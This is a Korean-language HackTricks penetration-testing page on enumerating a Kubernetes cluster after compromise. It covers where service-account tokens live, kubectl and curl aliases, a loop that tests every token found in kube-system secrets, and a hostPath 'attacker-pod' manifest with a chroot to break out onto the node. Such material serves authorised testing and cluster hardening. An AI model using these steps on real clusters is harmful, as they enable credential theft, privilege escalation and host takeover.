Kubernetes Enumeration

Support HackTricks

Kubernetes Tokens

만약 당신이 머신에 대한 접근 권한을 탈취했다면, 사용자는 일부 Kubernetes 플랫폼에 접근할 수 있습니다. 토큰은 일반적으로 **env var KUBECONFIG**가 가리키는 파일이나 ~/.kube 안에 위치합니다.

이 폴더에서는 API 서버에 연결하기 위한 토큰과 구성 파일을 찾을 수 있습니다. 이 폴더에는 이전에 검색된 정보가 포함된 캐시 폴더도 있습니다.

Kubernetes 환경 내에서 포드를 탈취한 경우, 현재 K8 환경에 대한 토큰과 정보를 찾을 수 있는 다른 장소가 있습니다:

Service Account Tokens

계속하기 전에, Kubernetes에서 서비스가 무엇인지 모른다면 이 링크를 따라가서 Kubernetes 아키텍처에 대한 정보를 최소한 읽어보는 것을 추천합니다.

Kubernetes 문서에서 발췌:

“포드를 생성할 때, 서비스 계정을 지정하지 않으면 동일한 네임스페이스의 기본 서비스 계정이 자동으로 할당됩니다.”

ServiceAccount는 Kubernetes에 의해 관리되는 객체로, 포드 내에서 실행되는 프로세스에 대한 신원을 제공합니다. 모든 서비스 계정은 관련된 비밀을 가지고 있으며, 이 비밀은 베어러 토큰을 포함합니다. 이는 두 당사자 간에 클레임을 안전하게 표현하는 방법인 JSON 웹 토큰(JWT)입니다.

일반적으로 하나의 디렉토리:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

는 다음 파일을 포함합니다:

  • ca.crt: Kubernetes 통신을 확인하기 위한 CA 인증서입니다.

  • namespace: 현재 네임스페이스를 나타냅니다.

  • token: 현재 포드의 서비스 토큰을 포함합니다.

이제 토큰을 가지고 있으므로, 환경 변수 KUBECONFIG 안에서 API 서버를 찾을 수 있습니다. 더 많은 정보를 원하면 (env | set) | grep -i "kuber|kube"

서비스 계정 토큰은 sa.key 파일에 있는 키로 서명되고 sa.pub로 검증됩니다.

Kubernetes의 기본 위치:

  • /etc/kubernetes/pki

Minikube의 기본 위치:

  • /var/lib/localkube/certs

Hot Pods

Hot pods는 특권 서비스 계정 토큰을 포함하는 포드입니다. 특권 서비스 계정 토큰은 비밀 목록, 포드 생성 등과 같은 특권 작업을 수행할 수 있는 권한이 있는 토큰입니다.

RBAC

RBAC가 무엇인지 모른다면, 이 섹션을 읽어보세요.

GUI Applications

  • k9s: 터미널에서 Kubernetes 클러스터를 열거하는 GUI입니다. https://k9scli.io/topics/commands/에서 명령어를 확인하세요. :namespace를 입력하고 모두 선택한 후 모든 네임스페이스에서 리소스를 검색합니다.

  • k8slens: 무료 체험 기간을 제공합니다: https://k8slens.dev/

Enumeration CheatSheet

K8s 환경을 열거하기 위해서는 다음이 필요합니다:

  • 유효한 인증 토큰. 이전 섹션에서 사용자 토큰과 서비스 계정 토큰을 검색하는 방법을 보았습니다.

  • Kubernetes API의 주소 (https://host:port). 이는 일반적으로 환경 변수 및/또는 kube 구성 파일에서 찾을 수 있습니다.

  • 선택 사항: API 서버를 검증하기 위한 ca.crt. 이는 토큰을 찾을 수 있는 동일한 장소에서 찾을 수 있습니다. 이는 API 서버 인증서를 검증하는 데 유용하지만, kubectl에서 --insecure-skip-tls-verify를 사용하거나 curl에서 -k를 사용하면 필요하지 않습니다.

이 세부 정보를 통해 Kubernetes를 열거할 수 있습니다. 만약 API가 어떤 이유로 인터넷을 통해 접근 가능하다면, 해당 정보를 다운로드하고 호스트에서 플랫폼을 열거할 수 있습니다.

그러나 일반적으로 API 서버는 내부 네트워크에 위치하므로, 당신의 머신에서 접근하기 위해 탈취한 머신을 통해 터널을 생성해야 하거나, kubectl 바이너리를 업로드하거나, **curl/wget/anything**을 사용하여 API 서버에 원시 HTTP 요청을 수행할 수 있습니다.

Differences between list and get verbs

get 권한으로 특정 자산의 정보를 접근할 수 있습니다 (kubectldescribe 옵션):

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

만약 list 권한이 있다면, 자산 유형을 나열하기 위해 API 요청을 실행할 수 있습니다 (kubectlget 옵션):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

만약 watch 권한이 있다면, 자산을 모니터링하기 위해 API 요청을 실행할 수 있습니다:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

그들은 변경될 때마다(또는 새로 생성될 때마다) 배포의 전체 매니페스트를 반환하는 스트리밍 연결을 엽니다.

다음 kubectl 명령은 객체를 나열하는 방법을 나타냅니다. 데이터를 액세스하려면 get 대신 describe를 사용해야 합니다.

curl 사용하기

포드 내부에서 여러 환경 변수를 사용할 수 있습니다:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

기본적으로 pod는 kubernetes.default.svc 도메인 이름에서 kube-api 서버접근할 수 있으며, 여기에서 kubernetes DNS 서버의 주소를 찾을 수 있는 **/etc/resolv.config**에서 kube 네트워크를 볼 수 있습니다 (같은 범위의 ".1"은 kube-api 엔드포인트입니다).

kubectl 사용하기

토큰과 API 서버의 주소를 가지고 kubectl 또는 curl을 사용하여 여기에 표시된 대로 접근합니다:

기본적으로, APISERVER는 https:// 스키마로 통신하고 있습니다.

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

만약 URL에 https://가 없다면, Bad Request와 같은 오류가 발생할 수 있습니다.

공식 kubectl 치트시트는 여기에서 확인할 수 있습니다. 다음 섹션의 목표는 접근한 새로운 K8s를 열거하고 이해하기 위한 다양한 옵션을 정리된 방식으로 제시하는 것입니다.

kubectl이 보내는 HTTP 요청을 찾으려면 -v=8 매개변수를 사용할 수 있습니다.

MitM kubectl - kubectl 프록시화하기

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

현재 구성

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

사용자 자격 증명을 훔치는 데 성공했다면, 다음과 같은 방법으로 로컬에서 구성할 수 있습니다:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

지원되는 리소스 가져오기

이 정보를 통해 나열할 수 있는 모든 서비스를 알 수 있습니다.

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

현재 권한 가져오기

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

권한을 확인하는 또 다른 방법은 도구를 사용하는 것입니다: https://github.com/corneliusweig/rakkess****

Kubernetes RBAC에 대해 더 알고 싶다면:

Kubernetes Role-Based Access Control(RBAC)

어떤 권한이 있는지 알게 되면, 다음 페이지를 확인하여 이 권한을 남용하여 권한을 상승시킬 수 있는지 알아보세요:

Abusing Roles/ClusterRoles in Kubernetes

다른 역할 가져오기

k get roles
k get clusterroles

네임스페이스 가져오기

Kubernetes는 동일한 물리적 클러스터에 의해 지원되는 다수의 가상 클러스터를 지원합니다. 이러한 가상 클러스터를 네임스페이스라고 합니다.

k get namespaces

비밀 가져오기

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

비밀을 읽을 수 있다면, 다음 줄을 사용하여 각 토큰과 관련된 권한을 얻을 수 있습니다:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

서비스 계정 가져오기

이 페이지의 시작 부분에서 논의한 바와 같이 포드가 실행될 때 일반적으로 서비스 계정이 할당됩니다. 따라서 서비스 계정을 나열하고, 그 권한과 실행 위치를 확인하면 사용자가 권한을 상승시킬 수 있습니다.

k get serviceaccounts

배포 가져오기

배포는 실행해야 하는 구성 요소를 지정합니다.

k get deployments
k get deployments -n custnamespace

Pods 가져오기

Pods는 실제로 실행컨테이너입니다.

k get pods
k get pods -n custnamespace

서비스 가져오기

Kubernetes 서비스특정 포트와 IP에서 서비스를 노출하는 데 사용됩니다 (이는 실제로 서비스를 제공하는 포드에 대한 로드 밸런서 역할을 합니다). 이는 공격을 시도할 다른 서비스를 찾을 수 있는 위치를 아는 데 흥미롭습니다.

k get services
k get services -n custnamespace

노드 가져오기

클러스터 내에 구성된 모든 노드를 가져옵니다.

k get nodes

DaemonSets 가져오기

DaemonSets특정 파드가 클러스터의 모든 노드(또는 선택된 노드)에서 실행되고 있음을 보장합니다. DaemonSet을 삭제하면 해당 DaemonSet이 관리하는 파드도 제거됩니다.

k get daemonsets

크론잡 가져오기

크론잡은 crontab과 유사한 구문을 사용하여 작업을 수행할 포드를 실행하도록 예약할 수 있습니다.

k get cronjobs

configMap 가져오기

configMap은 항상 많은 정보와 kubernetes에서 실행되는 앱에 제공되는 구성 파일을 포함합니다. 일반적으로 다른 내부/외부 서비스에 연결하고 검증하는 데 사용되는 많은 비밀번호, 비밀, 토큰을 찾을 수 있습니다.

k get configmaps # -n namespace

네트워크 정책 가져오기 / Cilium 네트워크 정책

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

모든 것 가져오기 / 전체

k get all

헬름이 관리하는 모든 리소스 가져오기

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Pod 소비량 가져오기

k top pod --all-namespaces

포드에서 탈출하기

새로운 포드를 생성할 수 있다면, 포드에서 노드로 탈출할 수 있을지도 모릅니다. 이를 위해서는 yaml 파일을 사용하여 새로운 포드를 생성하고, 생성된 포드로 전환한 다음, 노드의 시스템으로 chroot해야 합니다. 기존 포드를 참조하여 yaml 파일을 작성할 수 있으며, 기존 이미지와 경로를 표시합니다.

kubectl get pod <name> [-n <namespace>] -o yaml

특정 노드에 포드를 생성해야 하는 경우, 다음 명령어를 사용하여 노드의 레이블을 가져올 수 있습니다.

k get nodes --show-labels

일반적으로, kubernetes.io/hostname 및 node-role.kubernetes.io/master는 선택하기에 좋은 레이블입니다.

그런 다음 attack.yaml 파일을 생성합니다.

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

그 후에 포드를 생성합니다.

kubectl apply -f attacker.yaml [-n <namespace>]

이제 다음과 같이 생성된 포드로 전환할 수 있습니다.

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

마지막으로 노드의 시스템에 chroot합니다.

chroot /root /bin/bash

정보 출처: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

참고문헌

HackTricks 지원하기

Last updated